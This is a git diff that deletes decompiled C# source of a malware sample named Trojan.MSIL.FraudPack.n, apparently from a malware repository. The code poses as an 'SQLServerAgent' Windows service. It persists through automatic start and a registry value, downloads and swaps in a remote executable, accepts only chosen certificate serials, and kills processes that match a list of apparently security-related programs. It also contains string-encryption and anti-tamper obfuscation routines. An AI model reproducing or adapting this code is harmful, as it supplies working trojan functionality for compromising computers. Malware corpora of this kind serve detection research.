\u0008.\u0002(1356208604); - this.\u0005.ServiceName = \u0008.\u0002(1356208604); - this.\u0005.StartType = ServiceStartMode.Automatic; - this.Installers.AddRange(new Installer[2] - { - (Installer) this.\u0003, - (Installer) this.\u0005 - }); - } -} diff --git a/MSIL/Trojan/MSIL/F/Trojan.MSIL.FraudPack.n-de20bb9e8ee4dc179396f640788292cd44dfb1b4244b6a8b5daa6ee32ee2733e/_0003.resx b/MSIL/Trojan/MSIL/F/Trojan.MSIL.FraudPack.n-de20bb9e8ee4dc179396f640788292cd44dfb1b4244b6a8b5daa6ee32ee2733e/_0003.resx deleted file mode 100644 index d58980a3..00000000 --- a/MSIL/Trojan/MSIL/F/Trojan.MSIL.FraudPack.n-de20bb9e8ee4dc179396f640788292cd44dfb1b4244b6a8b5daa6ee32ee2733e/_0003.resx +++ /dev/null @@ -1,120 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - text/microsoft-resx - - - 2.0 - - - System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - \ No newline at end of file diff --git a/MSIL/Trojan/MSIL/F/Trojan.MSIL.FraudPack.n-de20bb9e8ee4dc179396f640788292cd44dfb1b4244b6a8b5daa6ee32ee2733e/_0005.cs b/MSIL/Trojan/MSIL/F/Trojan.MSIL.FraudPack.n-de20bb9e8ee4dc179396f640788292cd44dfb1b4244b6a8b5daa6ee32ee2733e/_0005.cs deleted file mode 100644 index 585d78ef..00000000 --- a/MSIL/Trojan/MSIL/F/Trojan.MSIL.FraudPack.n-de20bb9e8ee4dc179396f640788292cd44dfb1b4244b6a8b5daa6ee32ee2733e/_0005.cs +++ /dev/null @@ -1,499 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: SQLServerAgent, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 64EBCD24-503A-45A7-A91C-C993E34BC26D -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.FraudPack.n-de20bb9e8ee4dc179396f640788292cd44dfb1b4244b6a8b5daa6ee32ee2733e.exe - -using Microsoft.Win32; -using System; -using System.ComponentModel; -using System.Diagnostics; -using System.IO; -using System.Management; -using System.Net; -using System.Security.Cryptography; -using System.Security.Cryptography.X509Certificates; -using System.ServiceProcess; -using System.Text; -using System.Threading; -using System.Timers; - -public sealed class \u0005 : ServiceBase -{ - private string \u0002; - private bool \u0003 = false; - private bool \u0005 = false; - private string \u0008; - private string \u0006; - private string \u000E; - private string \u000F; - private int \u0002\u2000; - private string \u0003\u2000 = string.Empty; - private bool \u0005\u2000 = false; - private System.Timers.Timer \u0008\u2000 = new System.Timers.Timer(30000.0); - private IContainer \u0006\u2000 = (IContainer) null; - private BackgroundWorker \u000E\u2000; - private BackgroundWorker \u000F\u2000; - - public \u0005() => this.\u000E(); - - protected override void OnStart(string[] _param1) - { - this.\u0008(); - this.\u0002(); - this.\u0002 = \u0005.\u0002(); - this.\u0003(); - this.\u0005(); - RegistryKey subKey = Registry.LocalMachine.CreateSubKey(\u0008.\u0002(1356208489), RegistryKeyPermissionCheck.ReadWriteSubTree); - this.\u0002\u2000 = (int) subKey.GetValue(\u0008.\u0002(1356208422)); - subKey.Close(); - System.Timers.Timer timer1 = new System.Timers.Timer(1000.0); - timer1.Elapsed += new ElapsedEventHandler(this.\u0005); - timer1.AutoReset = true; - timer1.Enabled = true; - this.\u0008\u2000.Elapsed += new ElapsedEventHandler(this.\u0003); - this.\u0008\u2000.AutoReset = true; - this.\u0008\u2000.Enabled = false; - System.Timers.Timer timer2 = new System.Timers.Timer(60000.0); - timer2.Elapsed += new ElapsedEventHandler(this.\u0002); - timer2.AutoReset = true; - timer2.Enabled = true; - } - - private void \u0002() - { - try - { - this.\u0002(\u0008.\u0002(1356208433)); - RegistryKey registryKey = Registry.LocalMachine.OpenSubKey(\u0008.\u0002(1356208444), RegistryKeyPermissionCheck.ReadWriteSubTree); - registryKey.DeleteValue(\u0008.\u0002(1356208433)); - registryKey.Close(); - System.IO.File.Delete(Convert.ToString(Path.GetPathRoot(Environment.SystemDirectory)[0]) + \u0008.\u0002(1356208368)); - } - catch - { - } - } - - private void \u0002(object _param1, ElapsedEventArgs _param2) - { - if (this.\u0005\u2000) - return; - this.\u0005(); - } - - private string \u0002(string _param1) - { - if (!System.IO.File.Exists(_param1)) - return string.Empty; - StringBuilder stringBuilder = new StringBuilder(); - try - { - FileStream inputStream = new FileStream(_param1, FileMode.Open, FileAccess.Read, FileShare.ReadWrite); - byte[] hash = new MD5CryptoServiceProvider().ComputeHash((Stream) inputStream); - inputStream.Close(); - for (int index = 0; index < hash.Length; ++index) - stringBuilder.Append(hash[index].ToString(\u0008.\u0002(1356208348))); - } - catch - { - return string.Empty; - } - return stringBuilder.ToString(); - } - - private void \u0003() - { - try - { - this.\u0008 = this.\u0003(\u0008.\u0002(1356208293) + this.\u0003\u2000 + \u0008.\u0002(1356208257)).Split('-')[0]; - } - catch - { - } - } - - private void \u0005() => this.\u000E = this.\u0002(Convert.ToString(Path.GetPathRoot(Environment.SystemDirectory)[0]) + \u0008.\u0002(1356208275)); - - private static string \u0002() - { - string empty = string.Empty; - foreach (ManagementObject instance in new ManagementClass(\u0008.\u0002(1356208197)).GetInstances()) - { - if (empty == string.Empty) - { - empty = instance.Properties[\u0008.\u0002(1356208219)].Value.ToString(); - break; - } - } - string str1 = Convert.ToString(Path.GetPathRoot(Environment.SystemDirectory)[0]); - ManagementObject managementObject = new ManagementObject(\u0008.\u0002(1356208173) + str1 + \u0008.\u0002(1356208144)); - managementObject.Get(); - string str2 = managementObject[\u0008.\u0002(1356208153)].ToString(); - byte[] hash = MD5.Create().ComputeHash(Encoding.Default.GetBytes(empty + str2)); - StringBuilder stringBuilder = new StringBuilder(); - for (int index = 0; index < hash.Length; ++index) - stringBuilder.Append(hash[index].ToString(\u0008.\u0002(1356208348))); - return stringBuilder.ToString(); - } - - private string \u0003(string _param1) - { - try - { - ServicePointManager.CertificatePolicy = (ICertificatePolicy) new \u0005.\u0002(); - StringBuilder stringBuilder = new StringBuilder(); - byte[] numArray = new byte[8192]; - Stream responseStream = WebRequest.Create(_param1).GetResponse().GetResponseStream(); - int count; - do - { - count = responseStream.Read(numArray, 0, numArray.Length); - if (count != 0) - { - string str = Encoding.ASCII.GetString(numArray, 0, count); - stringBuilder.Append(str); - } - } - while (count > 0); - responseStream.Flush(); - return stringBuilder.ToString(); - } - catch - { - return _param1.IndexOf(\u0008.\u0002(1356208293)) != -1 ? this.\u0003(_param1.Replace(\u0008.\u0002(1356209138), \u0008.\u0002(1356209101))) : string.Empty; - } - } - - private void \u0002(string _param1) - { - foreach (Process process in Process.GetProcessesByName(_param1)) - process.Kill(); - } - - private void \u0008() - { - try - { - if (!System.IO.File.Exists(\u0008.\u0002(1356209061))) - return; - this.\u0003\u2000 = \u0008.\u0002(1356209033); - } - catch - { - } - } - - private string \u0002() - { - TextReader textReader = (TextReader) new StreamReader(\u0008.\u0002(1356209041)); - string end = textReader.ReadToEnd(); - textReader.Close(); - return end; - } - - private bool \u0002(string _param1, string _param2) - { - TextWriter textWriter = (TextWriter) new StreamWriter(\u0008.\u0002(1356209003) + _param1 + \u0008.\u0002(1356209013)); - textWriter.WriteLine(_param2); - textWriter.Close(); - return true; - } - - private bool \u0003(string _param1, string _param2) - { - try - { - ServicePointManager.CertificatePolicy = (ICertificatePolicy) new \u0005.\u0002(); - byte[] buffer = new byte[8192]; - Stream responseStream = WebRequest.Create(_param1).GetResponse().GetResponseStream(); - FileStream output = new FileStream(_param2, FileMode.OpenOrCreate); - BinaryWriter binaryWriter = new BinaryWriter((Stream) output); - int count; - do - { - count = responseStream.Read(buffer, 0, buffer.Length); - if (count != 0) - binaryWriter.Write(buffer, 0, count); - } - while (count > 0); - responseStream.Flush(); - binaryWriter.Close(); - output.Close(); - return true; - } - catch - { - return _param1.IndexOf(\u0008.\u0002(1356208293)) != -1 && this.\u0003(_param1.Replace(\u0008.\u0002(1356209138), \u0008.\u0002(1356208960)), _param2); - } - } - - private void \u0006() - { - if (this.\u0008 != this.\u000E || this.\u0008 == string.Empty) - this.\u0003(); - if (!(this.\u0008 != this.\u000E) || !(this.\u0008 != string.Empty)) - return; - this.\u0003 = true; - string tempPath = Path.GetTempPath(); - this.\u000E\u2000.RunWorkerAsync((object) new string[2] - { - \u0008.\u0002(1356208985) + this.\u0003\u2000 + \u0008.\u0002(1356208948), - tempPath + \u0008.\u0002(1356208920) - }); - } - - public void \u0005\u2004\u2006\u2009\u2001\u2009\u2009\u2004\u2001\u2001\u2003\u2001\u2008\u2008\u2003\u200A\u2001() - { - string[] strArray1 = new string[1] - { - \u0008.\u0002(1356208871) - }; - string[] strArray2 = new string[2] - { - \u0008.\u0002(1356208892), - \u0008.\u0002(1356208846) - }; - string[] strArray3 = new string[2] - { - \u0008.\u0002(1356208800), - \u0008.\u0002(1356208815) - }; - string[] strArray4 = new string[1] - { - \u0008.\u0002(1356208772) - }; - string[] strArray5 = new string[1] - { - \u0008.\u0002(1356208795) - }; - string[] strArray6 = new string[1] - { - \u0008.\u0002(1356208758) - }; - string[] strArray7 = new string[2] - { - \u0008.\u0002(1356208719), - \u0008.\u0002(1356208735) - }; - string[] strArray8 = new string[2] - { - \u0008.\u0002(1356208719), - \u0008.\u0002(1356208688) - }; - string[] strArray9 = new string[3] - { - \u0008.\u0002(1356208640), - \u0008.\u0002(1356208655), - \u0008.\u0002(1356208670) - }; - string[][] strArray10 = new string[10][] - { - strArray1, - strArray2, - strArray3, - strArray4, - strArray5, - strArray6, - strArray7, - strArray8, - strArray9, - strArray1 - }; - foreach (Process process in Process.GetProcesses()) - { - try - { - string directoryName = Path.GetDirectoryName(process.MainModule.FileName); - string fileName = Path.GetFileName(process.MainModule.FileName); - string mainWindowTitle = process.MainWindowTitle; - if (mainWindowTitle.IndexOf(\u0008.\u0002(1356209645)) != -1 || mainWindowTitle.IndexOf(\u0008.\u0002(1356209661)) != -1 || fileName.IndexOf(\u0008.\u0002(1356209614)) != -1) - { - process.Kill(); - } - else - { - for (int index1 = 0; index1 < strArray10.Length; ++index1) - { - string[] strArray11 = strArray10[index1]; - bool flag = true; - for (int index2 = 0; index2 < strArray11.Length; ++index2) - { - string str = strArray11[index2]; - if (!System.IO.File.Exists(directoryName + \u0008.\u0002(1356209568) + str)) - { - flag = false; - break; - } - } - if (flag) - { - process.Kill(); - break; - } - } - } - } - catch - { - } - } - } - - private bool \u0002() - { - string str = Convert.ToString(Path.GetPathRoot(Environment.SystemDirectory)[0]); - Process[] processesByName = Process.GetProcessesByName(\u0008.\u0002(1356209576)); - bool flag = false; - for (int index = 0; index < processesByName.Length; ++index) - { - if (processesByName[index].MainModule.FileName != str + \u0008.\u0002(1356208275)) - processesByName[index].Kill(); - else if (processesByName[index].MainWindowHandle.ToInt32() != 0) - flag = true; - else - processesByName[index].Kill(); - } - return flag; - } - - private void \u0003(object _param1, ElapsedEventArgs _param2) - { - this.\u0005\u2000 = false; - this.\u0008\u2000.Enabled = false; - } - - private void \u0005(object _param1, ElapsedEventArgs _param2) - { - string str = Convert.ToString(Path.GetPathRoot(Environment.SystemDirectory)[0]); - if (System.IO.File.Exists(str + \u0008.\u0002(1356209593))) - { - try - { - System.IO.File.Delete(str + \u0008.\u0002(1356209593)); - } - catch - { - } - this.\u0002(\u0008.\u0002(1356208433)); - this.\u0005\u2000 = true; - this.\u0008\u2000.Enabled = true; - } - if (this.\u0005\u2000) - return; - RegistryKey registryKey = Registry.LocalMachine.OpenSubKey(\u0008.\u0002(1356208444), RegistryKeyPermissionCheck.ReadWriteSubTree); - string empty1 = string.Empty; - string empty2 = string.Empty; - try - { - empty1 = (string) registryKey.GetValue(\u0008.\u0002(1356209512)); - } - catch - { - } - try - { - if (empty1 != str + \u0008.\u0002(1356208275)) - { - registryKey.CreateSubKey(\u0008.\u0002(1356209512)); - registryKey.SetValue(\u0008.\u0002(1356209512), (object) (str + \u0008.\u0002(1356208275))); - } - } - catch - { - } - registryKey.Close(); - if (this.\u0003) - return; - this.\u0006(); - if (this.\u0003) - return; - Process[] processesByName = Process.GetProcessesByName(\u0008.\u0002(1356209576)); - bool flag = false; - for (int index = 0; index < processesByName.Length; ++index) - { - if (processesByName[index].MainModule.FileName != str + \u0008.\u0002(1356208275)) - processesByName[index].Kill(); - else - flag = true; - } - if (flag) - return; - try - { - Process.Start(str + \u0008.\u0002(1356208275)); - } - catch - { - } - } - - protected override void OnStop() - { - } - - private void \u0002(object _param1, DoWorkEventArgs _param2) - { - } - - private void \u0003(object _param1, DoWorkEventArgs _param2) - { - string[] strArray = (string[]) _param2.Argument; - string str1 = strArray[0]; - string sourceFileName = strArray[1]; - if (this.\u0003(str1, sourceFileName)) - { - Path.GetTempPath(); - string str2 = Convert.ToString(Path.GetPathRoot(Environment.SystemDirectory)[0]); - this.\u0002(\u0008.\u0002(1356208433)); - this.\u0002(\u0008.\u0002(1356209576)); - Thread.Sleep(3000); - try - { - if (System.IO.File.Exists(str2 + \u0008.\u0002(1356208275))) - System.IO.File.Delete(str2 + \u0008.\u0002(1356208275)); - if (!Directory.Exists(str2 + \u0008.\u0002(1356209527))) - Directory.CreateDirectory(str2 + \u0008.\u0002(1356209527)); - System.IO.File.Move(sourceFileName, str2 + \u0008.\u0002(1356208275)); - } - catch - { - } - this.\u000E = this.\u0008; - } - this.\u0003 = false; - } - - private void \u0005(object _param1, DoWorkEventArgs _param2) - { - } - - protected override void Dispose(bool _param1) - { - if (_param1 && this.\u0006\u2000 != null) - this.\u0006\u2000.Dispose(); - base.Dispose(_param1); - } - - private void \u000E() - { - this.\u000E\u2000 = new BackgroundWorker(); - this.\u000F\u2000 = new BackgroundWorker(); - this.\u000E\u2000.DoWork += new DoWorkEventHandler(this.\u0003); - this.\u000F\u2000.DoWork += new DoWorkEventHandler(this.\u0005); - this.ServiceName = \u0008.\u0002(1356208604); - } - - public sealed class \u0002 : ICertificatePolicy - { - public bool CheckValidationResult( - ServicePoint _param1, - X509Certificate _param2, - WebRequest _param3, - int _param4) - { - string serialNumberString = _param2.GetSerialNumberString(); - return !(serialNumberString != \u0008.\u0002(1356208567)) || !(serialNumberString != \u0008.\u0002(1356208528)); - } - } -} diff --git a/MSIL/Trojan/MSIL/F/Trojan.MSIL.FraudPack.n-de20bb9e8ee4dc179396f640788292cd44dfb1b4244b6a8b5daa6ee32ee2733e/_0005.resx b/MSIL/Trojan/MSIL/F/Trojan.MSIL.FraudPack.n-de20bb9e8ee4dc179396f640788292cd44dfb1b4244b6a8b5daa6ee32ee2733e/_0005.resx deleted file mode 100644 index d58980a3..00000000 --- a/MSIL/Trojan/MSIL/F/Trojan.MSIL.FraudPack.n-de20bb9e8ee4dc179396f640788292cd44dfb1b4244b6a8b5daa6ee32ee2733e/_0005.resx +++ /dev/null @@ -1,120 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - text/microsoft-resx - - - 2.0 - - - System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - \ No newline at end of file diff --git a/MSIL/Trojan/MSIL/F/Trojan.MSIL.FraudPack.n-de20bb9e8ee4dc179396f640788292cd44dfb1b4244b6a8b5daa6ee32ee2733e/_0006.cs b/MSIL/Trojan/MSIL/F/Trojan.MSIL.FraudPack.n-de20bb9e8ee4dc179396f640788292cd44dfb1b4244b6a8b5daa6ee32ee2733e/_0006.cs deleted file mode 100644 index 5b832fe6..00000000 --- a/MSIL/Trojan/MSIL/F/Trojan.MSIL.FraudPack.n-de20bb9e8ee4dc179396f640788292cd44dfb1b4244b6a8b5daa6ee32ee2733e/_0006.cs +++ /dev/null @@ -1,31 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: SQLServerAgent, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 64EBCD24-503A-45A7-A91C-C993E34BC26D -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.FraudPack.n-de20bb9e8ee4dc179396f640788292cd44dfb1b4244b6a8b5daa6ee32ee2733e.exe - -internal static class \u0006 -{ - public static byte[] \u0002(byte[] _param0, byte[] _param1) - { - byte num1 = _param0[1]; - int length = _param1.Length; - byte num2 = (byte) (length + 11 ^ (int) num1 + 7); - uint num3 = (uint) (((int) _param0[0] | (int) _param0[2] << 8) + ((int) num2 << 3)); - ushort num4 = 0; - for (int index = 0; index < length; ++index) - { - if ((index & 1) == 0) - { - num3 = (uint) ((int) num3 * 214013 + 2531011); - num4 = (ushort) (num3 >> 16); - } - byte num5 = (byte) num4; - num4 >>= 8; - byte num6 = _param1[index]; - _param1[index] = (byte) ((uint) ((int) num6 ^ (int) num1 ^ (int) num2 + 3) ^ (uint) num5); - num2 = num6; - } - return _param1; - } -} diff --git a/MSIL/Trojan/MSIL/F/Trojan.MSIL.FraudPack.n-de20bb9e8ee4dc179396f640788292cd44dfb1b4244b6a8b5daa6ee32ee2733e/_0008.cs b/MSIL/Trojan/MSIL/F/Trojan.MSIL.FraudPack.n-de20bb9e8ee4dc179396f640788292cd44dfb1b4244b6a8b5daa6ee32ee2733e/_0008.cs deleted file mode 100644 index 20396326..00000000 --- a/MSIL/Trojan/MSIL/F/Trojan.MSIL.FraudPack.n-de20bb9e8ee4dc179396f640788292cd44dfb1b4244b6a8b5daa6ee32ee2733e/_0008.cs +++ /dev/null @@ -1,209 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: SQLServerAgent, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 64EBCD24-503A-45A7-A91C-C993E34BC26D -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.FraudPack.n-de20bb9e8ee4dc179396f640788292cd44dfb1b4244b6a8b5daa6ee32ee2733e.exe - -using System; -using System.Collections.Generic; -using System.Diagnostics; -using System.IO; -using System.Reflection; -using System.Runtime.CompilerServices; -using System.Text; - -internal static class \u0008 -{ - private static readonly Dictionary \u0002 = new Dictionary(51); - private static BinaryReader \u0003; - private static byte[] \u0005; - private static short \u0008; - private static int \u0006; - private static byte[] \u000E; - private static int \u000F; - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static string \u0002(int _param0) - { - lock (\u0008.\u0002) - { - string str1; - byte[] numArray1; - for (; !\u0008.\u0002.TryGetValue(_param0, out str1); _param0 = ((int) numArray1[2] | (int) numArray1[3] << 16 | (int) numArray1[0] << 8 | (int) numArray1[1] << 24) ^ -_param0) - { - int num1; - if (\u0008.\u0003 == null) - { - Assembly executingAssembly = Assembly.GetExecutingAssembly(); - Assembly.GetCallingAssembly(); - \u0008.\u0006 = 1610370; - Stream manifestResourceStream = executingAssembly.GetManifestResourceStream("          \u200B  "); - int skipFrames = 1; - StackTrace stackTrace = new StackTrace(skipFrames, false); - \u0008.\u0006 ^= 6470 | skipFrames; - int index = skipFrames - 1; - StackFrame frame = stackTrace.GetFrame(index); - MethodBase methodBase = frame == null ? (MethodBase) null : frame.GetMethod(); - \u0008.\u0006 ^= index + 128; - Type type = (object) methodBase == null ? (Type) null : methodBase.DeclaringType; - if (frame == null) - \u0008.\u0006 ^= 219315; - bool flag = (object) type == (object) typeof (RuntimeMethodHandle); - \u0008.\u0006 ^= 160; - if (!flag) - { - flag = (object) type == null; - if (flag) - \u0008.\u0006 ^= 219283; - } - if (flag == (stackTrace != null)) - \u0008.\u0006 ^= 32; - \u0008.\u0006 ^= 6502 | index + 1; - \u0008.\u0003 = new BinaryReader(manifestResourceStream); - short count = (short) ((int) \u0008.\u0003.ReadInt16() ^ (int) (short) -~~-~-~-~23109); - if (count == (short) 0) - \u0008.\u0008 = (short) ((int) \u0008.\u0003.ReadInt16() ^ (int) (short) -~~-~-~-~11326); - else - \u0008.\u0005 = \u0008.\u0003.ReadBytes((int) count); - Assembly assembly = executingAssembly; - AssemblyName assemblyName; - try - { - assemblyName = assembly.GetName(); - } - catch - { - assemblyName = new AssemblyName(assembly.FullName); - } - \u0008.\u000E = assemblyName.GetPublicKeyToken(); - if (\u0008.\u000E != null && \u0008.\u000E.Length == 0) - \u0008.\u000E = (byte[]) null; - num1 = 1526390421 ^ (int) (uint) \u000E.\u0002() ^ -~-~~--~~-~-360289216; - \u0008.\u000F = num1; - \u0008.\u0006 = \u0008.\u0006 & 268435314 ^ 6788; - } - else - num1 = \u0008.\u000F; - int num2 = _param0 ^ 48212366 ^ num1; - \u0008.\u0003.BaseStream.Position = (long) num2; - byte[] numArray2; - if (\u0008.\u0005 != null) - { - numArray2 = \u0008.\u0005; - } - else - { - short count = \u0008.\u0008 != (short) -1 ? \u0008.\u0008 : (short) ((int) \u0008.\u0003.ReadInt16() ^ -18706 ^ num2); - if (count == (short) 0) - { - numArray2 = (byte[]) null; - } - else - { - numArray2 = \u0008.\u0003.ReadBytes((int) count); - for (int index = 0; index != numArray2.Length; ++index) - numArray2[index] ^= (byte) (\u0008.\u000F >> ((index & 3) << 3)); - } - } - int num3 = \u0008.\u0003.ReadInt32() ^ num2 ^ -~-~-~~-~1522195984 ^ num1; - if (num3 == -2) - { - numArray1 = \u0008.\u0003.ReadBytes(4); - _param0 = -1522195983 ^ num1; - } - else - { - bool flag1 = (num3 & int.MinValue) != 0; - bool flag2 = (num3 & 1073741824) != 0; - bool flag3 = (num3 & 536870912) != 0; - int count = num3 & 536870911; - byte[] numArray3 = \u0006.\u0002(numArray2, \u0008.\u0003.ReadBytes(count)); - if (\u0008.\u000E != null != (\u0008.\u0006 != 1607814)) - { - for (int index = 0; index < count; ++index) - { - byte num4 = \u0008.\u000E[index & 7]; - byte num5 = (byte) ((int) num4 << 3 | (int) num4 >> 5); - numArray3[index] = (byte) ((uint) numArray3[index] ^ (uint) num5); - } - } - int num6 = \u0008.\u0006 - 12; - byte[] bytes; - int length; - if (!flag2) - { - bytes = numArray3; - length = count; - } - else - { - length = (int) numArray3[2] | (int) numArray3[0] << 16 | (int) numArray3[3] << 8 | (int) numArray3[1] << 24; - bytes = new byte[length]; - \u0008.\u0002(numArray3, 4, bytes); - } - string str2; - if (flag1 && num6 == 1607802) - { - char[] chArray = new char[length]; - for (int index = 0; index < length; ++index) - chArray[index] = (char) bytes[index]; - str2 = new string(chArray); - } - else - str2 = Encoding.Unicode.GetString(bytes, 0, bytes.Length); - int num7 = num6 + ((int) sbyte.MaxValue + (num6 & 3) << 5); - if (num7 != 1611930) - str2 = (_param0 + count ^ 936568 ^ num7 & 1293).ToString("X"); - if (!flag3) - { - str2 = string.Intern(str2); - \u0008.\u0002.Add(_param0, str2); - if (\u0008.\u0002.Count == 51) - { - \u0008.\u0003.Close(); - \u0008.\u0003 = (BinaryReader) null; - \u0008.\u0005 = \u0008.\u000E = (byte[]) null; - } - } - return str2; - } - } - return str1; - } - } - - private static void \u0002(byte[] _param0, int _param1, byte[] _param2) - { - int num1 = 0; - int num2 = 0; - int num3 = 128; - int length = _param2.Length; -label_10: - while (num1 < length) - { - if ((num3 <<= 1) == 256) - { - num3 = 1; - num2 = (int) _param0[_param1++]; - } - if ((num2 & num3) != 0) - { - int num4 = ((int) _param0[_param1] >> 2) + 3; - int num5 = ((int) _param0[_param1] << 8 | (int) _param0[_param1 + 1]) & 1023; - _param1 += 2; - int num6 = num1 - num5; - if (num6 < 0) - break; - while (true) - { - if (--num4 >= 0 && num1 < length) - _param2[num1++] = _param2[num6++]; - else - goto label_10; - } - } - else - _param2[num1++] = _param0[_param1++]; - } - } -} diff --git a/MSIL/Trojan/MSIL/F/Trojan.MSIL.FraudPack.n-de20bb9e8ee4dc179396f640788292cd44dfb1b4244b6a8b5daa6ee32ee2733e/_000E.cs b/MSIL/Trojan/MSIL/F/Trojan.MSIL.FraudPack.n-de20bb9e8ee4dc179396f640788292cd44dfb1b4244b6a8b5daa6ee32ee2733e/_000E.cs deleted file mode 100644 index 5ee77f4b..00000000 --- a/MSIL/Trojan/MSIL/F/Trojan.MSIL.FraudPack.n-de20bb9e8ee4dc179396f640788292cd44dfb1b4244b6a8b5daa6ee32ee2733e/_000E.cs +++ /dev/null @@ -1,200 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type:  -// Assembly: SQLServerAgent, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 64EBCD24-503A-45A7-A91C-C993E34BC26D -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.FraudPack.n-de20bb9e8ee4dc179396f640788292cd44dfb1b4244b6a8b5daa6ee32ee2733e.exe - -using System; -using System.Collections.Generic; -using System.Diagnostics; -using System.Reflection; -using System.Runtime.CompilerServices; -using System.Text; - -internal static class \u000E -{ - private static \u000E.\u0002 \u0002 = new \u000E.\u0002(); - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static long \u0002() - { - if ((object) Assembly.GetCallingAssembly() != (object) typeof (\u000E).Assembly || !\u000E.\u0002()) - return 5038234971328056794; - lock (\u000E.\u0002) - { - long num1 = \u000E.\u0002.\u0002(); - if (num1 == 0L) - { - Assembly executingAssembly = Assembly.GetExecutingAssembly(); - List byteList = new List(); - AssemblyName assemblyName; - try - { - assemblyName = executingAssembly.GetName(); - } - catch - { - assemblyName = new AssemblyName(executingAssembly.FullName); - } - byte[] collection = assemblyName.GetPublicKeyToken(); - if (collection != null && collection.Length == 0) - collection = (byte[]) null; - if (collection != null) - byteList.AddRange((IEnumerable) collection); - byteList.AddRange((IEnumerable) Encoding.Unicode.GetBytes(assemblyName.Name)); - int num2 = \u000E.\u0002(typeof (\u000E)); - int num3 = \u000E.\u0005.\u0002(); - byteList.Add((byte) (num2 >> 24)); - byteList.Add((byte) (num3 >> 16)); - byteList.Add((byte) (num2 >> 8)); - byteList.Add((byte) num3); - byteList.Add((byte) (num2 >> 16)); - byteList.Add((byte) (num3 >> 8)); - byteList.Add((byte) num2); - byteList.Add((byte) (num3 >> 24)); - int count = byteList.Count; - ulong num4 = 0; - for (int index = 0; index != count; ++index) - { - ulong num5 = num4 + (ulong) byteList[index]; - ulong num6 = num5 + (num5 << 20); - num4 = num6 ^ num6 >> 12; - byteList[index] = (byte) 0; - } - ulong num7 = num4 + (num4 << 6); - ulong num8 = num7 ^ num7 >> 22; - num1 = (long) (num8 + (num8 << 30)) ^ -6354475306657079513L; - \u000E.\u0002.\u0002(num1); - } - return num1; - } - } - - [MethodImpl(MethodImplOptions.NoInlining)] - private static bool \u0002() => \u000E.\u0003(); - - [MethodImpl(MethodImplOptions.NoInlining)] - private static bool \u0003() - { - StackFrame frame = new StackTrace().GetFrame(3); - MethodBase methodBase = frame == null ? (MethodBase) null : frame.GetMethod(); - Type type = (object) methodBase == null ? (Type) null : methodBase.DeclaringType; - return (object) type != (object) typeof (RuntimeMethodHandle) && (object) type != null && (object) type.Assembly == (object) typeof (\u000E).Assembly; - } - - private static int \u0002(Type _param0) => _param0.MetadataToken; - - private sealed class \u0002 - { - private int \u0002; - private int \u0003; - - internal \u0002() => this.\u0002(0L); - - [MethodImpl(MethodImplOptions.NoInlining)] - internal long \u0002() - { - if ((object) Assembly.GetCallingAssembly() != (object) typeof (\u000E.\u0002).Assembly || !\u000E.\u0002()) - return 2918384; - int[] numArray = new int[4] - { - 0, - 0, - 0, - -~~-~-~-~990503695 - }; - numArray[1] = -~~--~-~~456139194; - numArray[2] = -~~--~-~~-113420117; - numArray[0] = -~~-~-~-~-~1852801813; - int num1 = this.\u0002; - int num2 = this.\u0003; - int num3 = ~-~--~~-~1640531524; - int num4 = -~~-~--~~-~957401310; - for (int index = 0; index != 32; ++index) - { - num2 -= (num1 << 4 ^ num1 >> 5) + num1 ^ num4 + numArray[num4 >> 11 & 3]; - num4 -= num3; - num1 -= (num2 << 4 ^ num2 >> 5) + num2 ^ num4 + numArray[num4 & 3]; - } - for (int index = 0; index != 4; ++index) - numArray[index] = 0; - return (long) ((ulong) num2 << 32 | (ulong) (uint) num1); - } - - [MethodImpl(MethodImplOptions.NoInlining)] - internal void \u0002(long _param1) - { - if ((object) Assembly.GetCallingAssembly() != (object) typeof (\u000E.\u0002).Assembly || !\u000E.\u0002()) - return; - int[] numArray = new int[4] - { - 0, - -~-~-~~-~-~456139193, - 0, - 0 - }; - numArray[0] = -~-~~--~~1852801818; - numArray[2] = -~~-~-~--~~-113420120; - numArray[3] = -~~-~-~-~990503695; - int num1 = -~-~~--~~-~1640531527; - int num2 = (int) _param1; - int num3 = (int) (_param1 >> 32); - int num4 = 0; - for (int index = 0; index != 32; ++index) - { - num2 += (num3 << 4 ^ num3 >> 5) + num3 ^ num4 + numArray[num4 & 3]; - num4 += num1; - num3 += (num2 << 4 ^ num2 >> 5) + num2 ^ num4 + numArray[num4 >> 11 & 3]; - } - for (int index = 0; index != 4; ++index) - numArray[index] = 0; - this.\u0002 = num2; - this.\u0003 = num3; - } - } - - private static class \u0003 - { - internal static int \u0002(int _param0, int _param1) => _param0 ^ _param1 - ~--~~--~~-~1099352654; - - internal static int \u0003(int _param0, int _param1) => _param0 - ~-~-~--~~-~-809594693 ^ _param1 + ~--~~-~-~1210238059; - - internal static int \u0005(int _param0, int _param1) => _param0 ^ _param1 - -~-~~--~~1694919635 ^ _param0 - _param1; - } - - private sealed class \u0005 - { - 